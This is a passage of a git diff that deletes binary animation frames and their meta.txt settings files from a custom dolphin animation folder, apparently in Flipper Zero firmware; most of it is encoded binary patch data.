zaZCZ}?+2J@fCCH%p+rID0E2?c1`nyg2y6`#2fqNeJ&5=`=iu?bj}9FMgLno451)tq lhC*Qn#{gT!C=d+30K)(fT*2qy2hZL9NY-` zeUJ$N{0+za4M;d0K*B#@K!6&5{6EM5zkm@3rUW9th#UjNZ8B+K2F-#to%mRc^8yGw z=ZT{Sv4oMM1_!|8ehbnE-{6i=kbF#U!19lS(PWks0f*Eccn=4~`dA2nJ~$jPacBYY zK)^x4!g|=jW%!FeelHKzJN+@Wa9I zBOU;FL*pDXh(0s#@(03PcoXn=-@)SWV0r(B1lK0>a4+fd2a5pN&<`WxFNhxM0^lo* z9|{4GEXWEV_Y91IWAhRDteI7&)*`qz`dXBa9y~U>P~YA0V|BfcBP+8EgXaMLI5<84f-V+8 z1I|DXNdlNx#S90$gTVP8@cdyw`S63r9|Q-)L&1j!lpYcfp7=a-_;`bPy#85-?C1q6Vb#3C{fd_b^G@du1U01tQ!3I-1w`8Z%8K>1ILel-hbfbf*~Q;d>(uLa2`qm2apuJANlw^;1DtqiAWw;&-^@kunB+&S;7xg z0s#mfSU`D;NJxP4zyr>}4>BNw;Iu$A2apIs0tOkcxiG6m+T&x5AGfTI0vWv9*__9yb56PkAvI!9|D;$LGT4Ye}m9cfc5+X{8%9W L2lzifgZ>AQ5k164 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_26.bm deleted file mode 100644 index a83bf396aea87d4a66fbdef5c81df00348fc55dd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 475 zcmV<10VMtb0M`NkfChdBEC4M30I`RI{2o#8d;9@p4{88Dq2TxM1N(pvSU5ky?|?Os zJc24cFnYjG1p`b8n1Snm4j1$OAy9dZghC_aCKdbyJMc*Vg~9+U^aJ`2VQ`GZ*dkH< zgU>!{R;geX0uOQmoRc08l>q~UA4n624~ho|j?K3+9>V990= zUm<+K=wC<|5FT_jS%cC81PA&2f8Y5X03OWYgdfBnG8VA|+Y#Ugkhod|Gch>gFd*^2 zhJ+r#F@!+D=+GjX#30}A^!yAkLgA#&As!Em{0t!YkQ>VW1{Go}iUDB!fB%5;Mk2U@ z;(rkcg@l-CTf{CJ$_X{lp;hKoWSty(f=N6Z zFnY!aLIn^YgU9|4P|-&q5MX?ciot*?5IlfF4AY{6+`>f&U)|-28w#%KZQU diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_27.bm deleted file mode 100644 index ab5f00161ba05e071ab2f911712058c6b63fcb93..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 475 zcmV<10VMtb0M`NdfB*CFF<=2_`~{3W9#Qan{sI0AAbo<&Mqr|#1JA$@@Or_)@4yGF z4EFc~*#pV~4{%U}&?4XO_&|Z=o*+=b#bOj7IM38#t~dm8z+YSX%!J|q8w7BiQSkVK z$UYWK=Fg> zKmR z`eFg)@CS;lLGQp=55xXt5PQKeKfnKi|3C$pJ&)typU@9xe@GMv9$)zwJ|H0VpabIw z4>=A1{J?Psq(m+t^%ILcf#(7T!u&zvY7l!6#vl(?0|Evh&k%U0g+O2e0}O$FAoETj zJoF3ESBO3a!@viR0{#XRVk?LqKhSvp;O2ryA{cN7@dubBkH{YodY~3y0utbZ)c}W5 z2aWt5k%IDr;J}bDdjCP?zz~zv&%zHMz&xNB7(5!l4|sSWuFwg>kip|W;C}(;TOI^3 z9<%^@2MC-%^MHSW<~$N{gXaNYCm20H;PZfd(nd2t70K3IIJIz(EI`9)b^O z5DKMp4;c77 z1rSh!#-Ozz5Wh#^p9iqK!RLP=j9?yG0D1;T!T%H)uKLY`Q!vW;=AbbDdAn~9* zNFFr9So{Ix01$Z40pe{Mz&ua_4_7H&AQyz#oCqF+vcW(u0P(;B+*&Xg2@qLi4^9LI zAP*Q2JYmoTfQQf)Dq)5RMhp*Z1QS6ZfJ6b~2Y@I99+8OzZ5SZ&c8WmR~$`B8j5FZK|u@L}4* z(?dDT>I6x9iA|&;=ppDOdgzv+CShtl^bb1|+=B&kL)n9D{eBeaqbrqMnPq4Zj4C2f zw_y}WseCAdIV|UsIHkO^iWdAKIGSwvIXN^`P0ynl&6~hON_NLauCl72*9=8jaFy`q z1o<|~vPSz0P;BPPm=8GI)xdkL=3IS=lhSv8DT~$PaO+~tcA{~|F!YUYQq5q?1?$dz za!fgR6P>@xxo9ImhS%rK6^A<#y=2O>5%9jl8Cf*CBv8=x%^2U%=Icz8;q1xu{-o;b zrqPt-9h8#4seg6o3GjvukKauSGjNTn(vqURU&YF?rw9-ASl0#ghxio%yf3Y< z&}Trh@-s(<%}_ho2Uxzg;A-^Ks*PTP6;fDmj}vmh%rsIlGzrwdH-&XM0}id$?&#&? z-!*qTUklb}{U_>yz6otB9{2ag*bv!tvXXirm~9>GX~9D&O3{ppA7WsA>gTmv0@KgmD24iJ&6LjpdfCqK08XSLqdBdI4gJxI vKnR`6J4ra4=ag^;&ZDmk-oo_TFBNE<{TNroGTa;Wpf?}XoMeLKBaZwBu8rK| diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_5.bm deleted file mode 100644 index 7170e6fde133a00ea236d6065a53b1263a390bce..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 595 zcmV-Z0<8T308avdK>&*o0t|uyfWL#*1Oyud1K<)6d&hu-fPmux>jDRqN)QJuAUwa| za*zQ=Ob;j~5>O9cfRJb;(t=R9fb|8I1O`xw6cPdtLD|T|@?9#{Z?mdfyj7$7`w0P_e4 zJg^X0gbGLp92h;|5a`4PCLB}o zL8<`xi2%w753BGH*TwjNgV!WRVDX28$V?#ek0HpCKk4~kpm4x>PY~n} zEBHKc5IBH5t_N}ekN^K6R~3LBUIV!U&JJoU06dNaN*(|_O5zzIAhi$(An~7$PDE@d z8Jt1q|A0&ZV=M=h82ljhi~__YPzYi8LF*hem;hr1LI(1}vF5Hi@>t<#(@p*|?oi(-jF4>OH68ScB? z)LFJoF*J&{sYt$*k3H#`_#@3SgL(y{(DRpLvTe4ZAFX1{Db@{XCYdKR!+eg*Rt`^N9MIyGn ze_8tyj7y+jm!v9MagQ5H#4=0O>!p^o0UK%Jg7;dUEP{OP{XMLu!6p#cVn5Irq|P1W ztz^K9rjQ@9!RAXvUO&{L@pfs|T0x&PQ?S}PMi=(ATo*>p`b;brnCp=55(lsYcDK~m-vr`T+UTqU_K61|ReP29j#6#1xC~RUBX3@d2FOM* zhyr1zaS&S~8J=$b3aIrH?{n!Ql5SvtqtYGK`Uo{slNu-1WshE6&4m6WjKR& zh66)y6I@PET&8nqyXXUDwp`*9rf$YetS26$9s&LcocdT&bq1}jF)r*p%=CnG^GO{? zJ6!NL@qb2FZCBlKZNzT0f!n*i;)7IcD!qiHX9^IoFN7T+P;hvYj2=8F z2s}~+0T+q*zym}{3_T!6!Uw1vco6gfLBa0890h#1RnGV2jT_v|A9mhMFoI-AYOodKo$c6 z=wHEvG9Y^RAQ}t!@XSI0NEZSFK%ax!7z8LFJa7Q?Q3^~(gMfwL0%IRe8%S58M;nB~ z0Rsn!5I_RpEChsPAt4kDJU)E}P{1O>Q8So4=M#odz#+lHE0lazQ^+CULFiW~I6R=l z@rRrg9zZgIg~o7G5$OiX4hs-KfW)*h1;GQzHe3NoB1RyXAbEnuz*jhMJk4YeDZ$+1 z5ddKTivj`|;5_6K0bv8mf;Av{&?E+e84w7T90uP5s_%Go4phz$r5Bxz2DEJKz1Rl^edJ=~P|AZ|?lu*EV zfd&VJ2c$wVa0i?jUO0ew!T|&LhoXdNfWiO40p$dF3^_bvfrx*>f(aLqOaP+l5O~M| z?hGSAL?|ENV1b4L12B1{1RicAE(xH5L;VGli3-A4AbNpB9zoFukYs<(;sppif`V8e zc>e+A2mz6Rii8g*aYGG+U?Cv`2k>PmbnqT{>gVW*v Ffq-?6?W_O* diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_9.bm deleted file mode 100644 index 5b9819925f2edf900d9e525e54e8474ae6e5ce02..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 612 zcmV-q0-OB-0AKaREu2z&+s1dJdafB}LKM}fl!?g9=EC?x=pAOnOzAW#T@@E<>j zI6P$ zoI&{jz`O_^u*d`)3Roa};0(haGn5fvAn{HefCM*&=-?wRAqS`cyc`fn*^~kg7UGPC z#{igS76cD?1=+wh2v|M53Svx)U}B5`fGGq3F^_?PFcLs|$Ohs87~DjtB#RIOLNFcxd1yx@4`>I55(OIwIl<*&6^;OeK=_R*Mt~2vAbe;C zd21TpA50FX2R89;?X y`VbKK074NQ06fHG2^)Zvq2q)HkN84Z2>1*@L=Pi~oP~Or3-}af0Q6?A1OEW_0o1wx diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/meta.txt deleted file mode 100644 index 676c56ed2..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 28 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_0.bm deleted file mode 100644 index bd2dc00b29a7d11237b813e8a57d2fbfe4297117..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 970 zcmV;*12y~s0LBBzTDrfl|5hbJ1damxk_VL@iL3j6^?g{R0;!1gNg|-}hE;0c-~GN< zDGv;Ttw|D<*HN7MfBW@nECv+-+GNC|0QErbKA->os}dv(15+l%gT^IRt7^gHuaeYY zu!@B?MFfCyvXqLbJa6=>r9^@{tRQ@4S6xr5{16>ZuN4H4L`tIow$WmJP;meE`l%fT z1xkSf#-&x(m&AZwUbIgDQV;<3s<*Frbbs~#SKbdGr9z|$VJ48g=U>Qt0wDl|KrLTT zdSCVb?EFJSpDqIQKnVr^N8k`hgbD=@UWfrIWFe61OXYe#5CEh2P#A+pNkCtSd1(1B z|8Fm=&i#I> z(sgC@pTuww5B=7Cztv=^LG-WTAQB4q|9N(*>0(|mdE?{~NJM+#4Et+oby0dt;ZO(^ zJ3*28Rcg2{2t4TU36ax_Ab${>Je0>4(fW#>z5rAl8fBkiC zlY$48C_XR;^C{FhDGpij6wwnk)wyt|Nn3BaEwLk zevKG_bU=bHAAQ*Rn9mA~jlC zxJ9FBh2#Cq0ha^>J~9{-LWKeARG{DAfBF$2pu{z>yo3@V0j=Vp+t2Rq7XXA%VU!eb z;9xOn95?OX_g7&MD5N$k0gw;I7fOO(w*UD33V}d|7seB$fKcR6-$nM@KY%926Dxp= z#sLL`K|2+G;5=R<3O$R!a1c7I7GW*)Z{&cHhDzZvE`|av2Eb4vb&LE0Nkoi6OXGy# sVRcX}1RFtpzyiiAlaMdRK?K7RaFm-7HcWpkOV?INmK_#N`yin8LLG|-XH?i;G_@?jEG1(UR4wvVDX8;C=jS1 zylqim*gZA$c#K0q5(kYdSNsPb_urO-z#^&g?Nq;^^uPI`@F@VuU=~fNISd2rpU^0n z68O|~p!L7stMCazys*}wdjJ2E_>Kw6Fp2L_9^c#k5~&n{K)qg2dw1{hJO%+KIpXwD1;KS=M!^q`0;ycy|LyeHOhS>s zLJWcfK=8mPKHb0Wpjj9et16@zg(tsMoEiuHOTmf9q$my5s^ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_2.bm deleted file mode 100644 index d3057616393daab2e3612c01a95dd13876747e8c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 945 zcmV;i15W$_0IdVWTDrfl|5hal1damxN`V1JM~bTb|MhyUN&!^Fda@Bfc+;ga(D>{6 z@<2$)deXQE6lR)E*VF%hiqK#bs0Px5st1pzlhXBn$ODdnL?9ZRybvBVtUXg!46K(JU|7nqd=$9((wl2LVVA zm#Ryx2N(cg&`6XE03aP!s9b;ntI1MA0uXr0yrA{ML*NMFfOS1V_SetoH9`2mbTXoH z00+N6XpDk|0Ecyd!1Y=TLREqnj`v6pj1>XCT`EX9f#W60P$CiyR#+bY_-qOizZ#U( z9QOMBqNHCKFQ|U|`K=eIkRSI@9{+HN!k|!%PLv+~@`(LtkPQ^r9^3GM@8$6r1~*mw z2dsbgFdozjt160z+E4$!{`T@1MRu|uY*<`+`n)!)d{ODdxLNy`ZTNVj&XT{fcz^aIk50sB>FRJ@c+9VGb!(knpres7hnE~@*79|0@9Mes>nCtxH=1#RJZt0LWP-evNLg6;j2>0p}Nzz_^hf7f!8J zmca1{1CYQV7|b^#>s!kGq*5=^G^tpcL=r>nwe9BhSRMoD>?nYIVUU&x*J-+}43or8 zC=`nY2!P$Y|9bsaCji6)#$Ty`L?Du$$M65E%Rn+!Avn^)g8+n7alh)de)~g!UmIcVGzjv?6NO2HPNW5r} zj3gr~-@gClY4LzaIzsV?P=n(E%m4oV@3tmEiS&Q)a7YA-6;=25`?Gyi3=}^hFqs5C zR{y=ew?dIRN2&kAjl>)0J2Mr1tDZY3A zyMFCH2@uI@^D;_G{BS$QK;LwbsRjl?)hUPoaFJcl-);Y?LZC2;C9gvOfns>t3x@mu z@6uAD5GaLS6kZqvswr^(clXqo?h=7QvA}RA@w;d)UtjOWZj;R2GNhxt#2YRn> zpTmdap|JqQK>(o8JU5N+>fb%cP$3o}n1hCc6{vb9`pf+O2?Wt-qEIMKB9Wk=R3*Pp z{Qd$!8yx~6K)_HTpdo?k0pmc?N+eNKfbgi58V&*#K>pv)BY?4BFcM6KgA5259s|pN TfkGuxIH`DW91T^<69K>g{*$+V diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_3.bm deleted file mode 100644 index db257a18a7ac5db5f6eb2820d79c4618a268e83f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 946 zcmV;j15Nw^0ImbbTDrfl|5hbJ1damxk_VM9DOLOb^?g`m14)SWNg|-}i%Dg{@vqBv zFbG70tx3d##_7oHeLwyESiEph4Mt7`4<4*fSM~q@>QJZ@q5)Nt)dAxoqg6DZ@#gBa z7$`?Vm4OG1Dr-^ggU2s=s>xsy46ITS0IPaxo}hUC|M&7(;3Sd|`0BA#G5G)rPYRI4 zp+NDqNn^(G030rX0MMh$RjT-Zf$2wrz#xzlfa%YIqWd|{UW3^tudYnaMOi`ZIJz)2URWVeE2TMYZAOhhOB5x>qIY0#} z)k2^!2~F#m4sQH>J}42RX-DtB-AOvKCWKpgwK?d}69s`4;_`2XwZSuJ*|Kn;KQud5Q0_HA&2`|tMq{1qxiZJ>XF z>+%2dwRLEXR%-(OvzMjMtLo%h+7(Kn{0F4};bNak>a<+!(gFDgra#G*y!EKDTePN$ z^arF5LH+(}rCOe>UIF0;q=Vu4>}@KrSyXBx)CU}X1);s(wY6%ORy9Dt1J6%L)I|9n zU0kaz3V~HY=E)fZkHUW%ueUW2fHsa15s^W9pSylvRS$q_Pz6t+KqwIpXScgus>3Ld z570bfaT+B<3GQKyUsZ~LX+8k)r9mJf5xxzCJ}{B^`j>+dpx`JIEk*y=x8F;kSss8~ zX;BD8LQ$RnU-JDZZ2|#`|JUFUC}zkhe#>Z8K(z=y^~ zkdROyUhltpU!sZ@h2S&zLDAs`ow3K0afz`xt?UH-J_90U`sJBVO~ z<4FE{|N7mu{sjc6Rdv`xfXE^npWgcaq?r;%39h9BMuj4QUK`{0)XIY+LDprYP>6)X zQS$$P_thz^CIt|z!C??64uXkbwh#vsYM^8=7s|W_fq+kQ<0oaGeBLIl&A{-3_?)iV-hK7+0$>AacQK4XO z626E0qBsl&A`<|DV62f)K*6qn@qnfW8=-;^hDoHsU|&;5T_ zQV$G+tx16c#%YMHdVl@;u)JYV4W>@04O4R~rJ9L^T>{6b1o`qgu3J@%qm7 z7$^pY8z~QsN^6w&1H?j7SR_MBKqr^0Mf3-rygoDvR4NGotl?z8(0T9Wa4Zx+d@v4_ zs+tZk0Kwr93Q`nc8tSj)8h!izR*fK#Ku7~0qy?>j0xZ|4wVcX!12rKAdUgmV}bAAFAYTo zH7}^W{`2^T5dJt@pndoKZ9d`!0-tI_?spmW9uolc%7O3SD2~>N0HIC6?!zkF20@k0 ze*vqX{=LU-l8RNLf%e1u@BdwV3X@uebLI>#i)$+I69Fz2oI1Gw03HNJv)xJ~)f$#^8{y`9cL})(Gy{@lS zgu;BF@u$MDP>93^{0JQEs)Inp0ft{efKVbCo=5)MH`c^r5+eZ8;*f|GDr21AckTD+ z91@aX8D0i~0Ej?!zwf?A@BOylSQw;!Km45%iGajGe&h3@NF<$4 z{472)0QlSg|7z6=Cj@|gfBJYth6RX#dxOK@jX|Ii9#{4cLV!XcxnA-hcYSCqhY_Ib zOJD)fz(_Bi|82Va2ZTT{m0XNM1t7v;w~T@R@F>s>4MSHVfj}TwSx4i0z3=9rlqiG~ zSBb!6C>Sh+%iZt#=%K*jsOsdA25|qNmjZb2>a^3)z&-FF0KqTXi-+@V{>{dqQW{Q< zkS`bnPK)3`4_<#B6%2#NA~FvHLlEfhEmz+CdjSZ+XrUAsMoDfo4@Cdjf1b#w5|0{q zXc!F*3WG3`>Ix!G92JTY1c2~05lRID7kK~Q;Snf@k0RY3OoLLg7&Qa?f52cU9w`vK dcoqm12MGbdd3WHk$ylJ6m?nc!w%S0TcmSoHz3~75 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/frame_5.bm deleted file mode 100644 index 3c58dcacd2404544642fbd0b27e3cb98592fc2dc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 952 zcmV;p14sM;0JHT5167FjNg|-}mT6_*-~PW_ zBn=nVk|iyzBD4Ab@9NZ;1}Z_6spx^@s*?1&U;qBs6#$SzEfP@qX)#*QP&|L}dX^Nl zH0cxu0ZE%wb-&28$&K4~|;VsyB!Ls`x1c0!tDHjn|7s2N?uqaH$3&2@!x& zrG3zG|GDsZ4gh>m4%H~!AOpYkLIac^l}c)k5CQM_(fEY|1P>mksJcJ`pZjaD2~`6D z0MO)t$S)uCd>Sz+6ayXB2e1G6zk*7G!vLQ20qy<2s0I`d9+#{hzyZtADh2_n{lU*) zhQy#S7)421fCK&2;X6o#2Mh8ay}brBXewTi~=xFW4Tie}jyBeOUxYHR1=XucWdcuD%75wxiks-~o@Gw?&fngX@2ygU7#1 zwZ&;VUI}?&9IOA2J>AhtvR;6CQ}8?w{8oEYs?l^fAbLdPln&9>(|Yp8Y2Mj!J~i}45JzS zzgKOr2uGwoIw5$I#{*v9_v-el6oaH67)DY^FBk+r|My@D9At{&kcY+*0o2$1yZLRF zAqb>@FYut?o69eM_U-FXN)`+Cf1pGpBk`4K%_FY1;2;u!c*S6lgZRKY`@LM>q=*~| zz(>OXH;q%@{{LHPO@WjNhZP_n2z+(j{eOQ|LZVz0NPM>K=J8F>b{@<{@;~=L?9ZRv=AOLOm9=H4KrzklGmEF~fV@-Hv`KmXsz z;Sm)11DF4I0F6FNh-eO^+`s)F|GWLq&7d#}Fnzck@)>Zl5Q*qHZ}~6x?|;9FK;RuB z^FSO!@80jn;ty$jBmevU{rXZU4wN3bcn9bRJI%ZbsZIy14n$`!9i0eH|gUvJ%hEf5ElK7j&=gT^x~|Ldx;S`q-V@Ti0W$pDm7MY`%27!R0Q~&+?yh2D&D!Ke%76=ALH~;(Bqi`6H>;DJ9 z!XXq$27<5c-)iEJ3MZ7_F$x6;zBo)cd~12!ghLQ-7%T{0QjI?T`>%^ZD3YJ~P(!0B zfMB}+zkO~prX3gmUkHFwLL(^i->drhl!qZmLX3#OAo0NayZ^iFSrR=9W|f{W36Okw z|NnlzYlNUms<3#FylM>bw|@86yKtOf8qHJeU=a)iQ@k%8{GtVf(pI4IN(@6YppZjV zBmSuli&0X5z#vfzeG@tC_ipTzhy;@J3xq)^5Q@~MJNn=I`lEq>{F|d7h{B?|7{&AV z{>{N4nF&GARpSK2!Ab*P+wbH9v6)b!py9$m>M%}$frVB-@H{|#aZm_O0|f?>z%USM m5B3iNk_W~_wH%EX5)T*-1J@^jKw%kW@Wi!nO<&3h1Hb^dzQ-{D diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/meta.txt deleted file mode 100644 index 7e408a6e1..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_6/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 7 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_0.bm deleted file mode 100644 index e929402f8354d725eb4dc9615d49d4197ad44088..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 915 zcmV;E18n>O0FMLyf8e+b4FmoF8~^(C3;Y3x^Z$zEWI0ec>+Mzl?f$Vdat+t`x1n3KVbp=i-sNe509Jwd!j%fJ`!+* zMt=dU2glAB8kCA5;1`Jqp(XO;2ga!g!g&Ft02u*%u>bqKcLN|7iUje2^5KDoUm}DH z!~j$H9phW74~RfukS~Zl`{VM8gUkP@pa;|cYyZOF5b!xrbK`;l96g>O^TGO&SC`=+CKPeQdrAZH+K1R(v6ay(l!bC7Y^4Gv<3DPHx3nfy~Y7|AM zi9j%f@qkh#6o^DqN)IbM2p};80brz68Vn(1RWMMe$pke_Bob9o{R7H~3m7H>At1p@ zDp(vRKprx;X~bX}U@lkn19z!6CNoXVS(qg~S zl~{`fLMictLZ~=M6qEZEgh&hH0>Vit6&j3Eqo}EVBCEkDh`dAN3V~2ylvqdBDTp79 z1|bln;WQF}_{20mh$KL|EP*NwN)5CquuKgCyWP#iBvhJJMu`!i;Uy5sBr8>-gFqn~tyNmLZLaS1QAh@Ysdc2}s2}hH zK`2m}O(p{XfdkzBH43DvNg{*;-w_1D(kib3kb~YSK!|K&P?!V&9`KkJhA9Q0NeUv! p5CUdm5ldAh7E(%$Q~;3*1qUMnkmO{PBAB=YK2n&JQ|U;62n4K>b|?S< diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_1.bm deleted file mode 100644 index 6ca3a80249359fbf7bd6a074f9870fa92b6bc0be..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 922 zcmV;L17-XH0G0#(f8nqU1q1#6|L^u6=vUwjKd=0MBcjy-$G58Hci}pXR;V5@*d!yW z401$Qk>+kb_*wy;H-~0TQ0SNho2lu`Kj_>_n@&Et0Dg+CF z3m^Atg>;_;M=$Ak?a0Mh>&t@jV#C)FRsUO)ne_CNnz zKmWf!lEk_o^nuFmU>{j3ya@G#TRRk0BRVB1qwj|kGu!}UjdN#Vvq>{fMgr++9wVb z0D?pU1AdqT+aH36KwwlzCHu+#2d)l91i%x^{lO2l3>G8v|8D=F_0WR`5g;#*^4=e6 zgaUyAghC)6ulNK&2DBPO7+?S)Jr;x>XW>sIN8||_QaI!BrP#9%&RQL$}ATldVrioi3l8qodwBVtn zn?)coDNRcSQU{fu4MGqcB1uAmN@)P{tC593L_wiqWfV;+0IG0B`2b2$P@zO(ACP)1 z1s*aC6e|;?r3=bah+Y&RVl_u3JE}pRB9nHs6;+7Q80`JUNIRI6A7rqLbSd} z#(;iQh=&4^sfa+NQV2&#QXm0>KxmUFlnRST#8Rp_n5F_CKN$oDxkQv?AW|6w3rP&X zL097hkU{cPC@i7mHBJm5CME%(@gOjWr9%ZMJ&aNn0EIEe5ox4os8|?=1_epb!7>3s zpm-+b5r{=7Qc8r9i41}bh6(A1#3EE(45JeYz|ta+3k-%K_QByP5{M=WK_HYwp-~JZ z7KML^NF-QVl%|zMpwJ;y2!>nHzetWz3?w0xN~*A^B^KBFjnE+wB-rF>SX=;nVigRp zk`Cn>rbbB88icA99KgXOKAIE)5)K?rQl$mR)FO%jrR`!AOa)r2wbg33RcgFaL5ZnO zpb;4-`~cC26p)NGNCX5P@k~VnB@AE;03Pz01}do`fY7Rd_lUq^8CX!hr4&j|n*jic wKr&EB00Am1p}NE=6bC@ms-Og^V6joiECqfsDGZARh${>Nr67n+s2K=`K$ie|VgLXD diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_10.bm deleted file mode 100644 index 4af8d83116ee1ff077e717ec8ba533b076e475b9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 938 zcmV;b16BM10Hy=|fAH`qhlBnAAASFC0{j7o{r`!?G(Mm>+kd_OTq?0us)9xfLbQKC zqrVUhRs-1g2gZM)kV3u!QT6}ecnDVGcd7)877+n~d;|kO&`O}*kFb1i@M;u-fDa!0 zeyP=!ZY#A>(B1GbOptuI^;k^;k^BGtfA#uC0ss#wJXQe^fKfF-@xRbv6pxTRYH(Zx z5(NOX{D1ZBREVB>gyB#CL-XIysPHO)Jf%V528hIbKmP63(XU#K{uCV?1VRNw@rFkK z09%&+EFKW(mPdxlC=ak6Qz;Ar2r(=eJhK1580X1jA`c8gAr}Xi{hn0v*+3vL2oxQF zAOxr22V+5yVIUCjdr9CDQ2_u3K06=*#KnR<5OByN=CS}BtaK&vh`~4Mq7SSS1g|I! z|HuzmOahpVAOQdT0QEHtLO=o#82_|j^@czp5Qu>QVIS*yFn|Op8H5O;I2Zx=e${Y! zu7zAf@;4NN^5ZBb0boEO!ahqY^aqp{0mzUHCygeBAc90F zQYe&`QG|JjyhCFKW{7-o6pV%nq+k(vz%nTzNsLCNBBIqH9AJ4;Adt#II9{WPD~^Y8 z)*qIFQ33}HlB5A0R8mC=4~&upl7LWTTpUFM2|%GzYEi)W1Z zCFy;^qeQAfAUKQ^5K%b8^%Bncq9V_ zBB4njP>_3n@RCe~C3-JG$V4Cj1cqQJOVNU1A`)6HQ~+9CR7MG?kw6fm0>ok@03kCB M0mLt{$x$*C0BDJKh5!Hn diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_11.bm deleted file mode 100644 index ab8ca095ac3c34a24f8a18048f2d379ed1356868..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 940 zcmV;d15^9~0H_21f8cNl21EV;9smB{1^j;h;PH{jv|gZa+j_tIoF=iY)qkh>E(Rm? z9zXql3)uUI$}4D*d;x>^{{QQ+4aI7!{=dPvPz)eId;jQO0u|^BkLUkxfJq=e06^d9 z5?D^-RjLP%{*?gG3<`f#s_cX5zokAY4<{CWggYESykPrlJTM~&(GtTc#D9b5NOuU#qEcN=5=;39 zhB;b)Z~W-%%PP($N@z!-)j6p%=$x|&2+QXeQrq5~3OmQxWxk!YkHNc<9lvaZTr9vVwDh3dqIVc70 zsUeU;sxb{LQVRr-LoqN9)P4n&#Z(}aSOy9OkiteF9*_R7P}dkGLm{e+KvhF3$n7oA ziWaL0kbx@%J~9domI?0Nz@mszp;9UpT7(7(6xOANACRF{G!TfCCIN*njRL9F`^cbD zhzu7+K#)>$39-b{JzMM~g9RkWLLo-M$iS#F2~Vb50fa>|QYjRJQBcAchKWSAQ{oUE z6eAIcr3}U*PZ*9@WfP(c2SXAMjHo^^8U+$b?SKVFr3%tfGPDRTMgYwktm=~xpy3ZA z34ujNjK zUsYcV0LWk`#}R;3Ki~z=hsLBMDkKmd(fACKK?}o{e^^_5b!rC>T%3;J@`aM&Jk`VcycA5Dy5rLL)zf zUNw5Jm>ghODJOuyarqZu2tGgk{?j191Je%x+-kKz@t@-$nJ+**{_u}SfBnncQu)h)D~j5P*Ka{rVBe=-{DO2>5UxLrBVgAo8=D zMi5{a3`4|e7?-F%dIjlFA`l!$`j0^molb#Bfk0v*A<1AR8BQQPrf8u?lmdw)s^p|v zpm|Do0@4Qyz;aMZB|sif)98bQo-heT5~V4ksERXyq(6lOGAtBILxQA#UBsOr@SO&! zNXkkwNkIpYtY6~@h+w2t8We>nKloGv3Jw?s1_>y_MI|{(5|BaTLtcqQXcQ?-iwQ!M zdOz?=0`OoENK7IrLZnn-6j&|vJ}^KC&~y|H79s@-2o9q74;X9-K2az{MyTc*j280> zh*BgB!Gd5URICmvQ39zKpSV1qy=Fp3632|uA?q8ONj3ROyi zQYr}1f@mpti3JKlL=TKY3jnf6pj02!1|@=oVMgOBp+KaV73kzG)U70P-KZQ77kJsgznJB;}XR|AekLPOi%-K z=>3`_RG`Q*H3%S7V0es{x2->cKyXn?ERqXRs0YSD0I6DOr=gT+B^Vt>6BSB=!gW$h 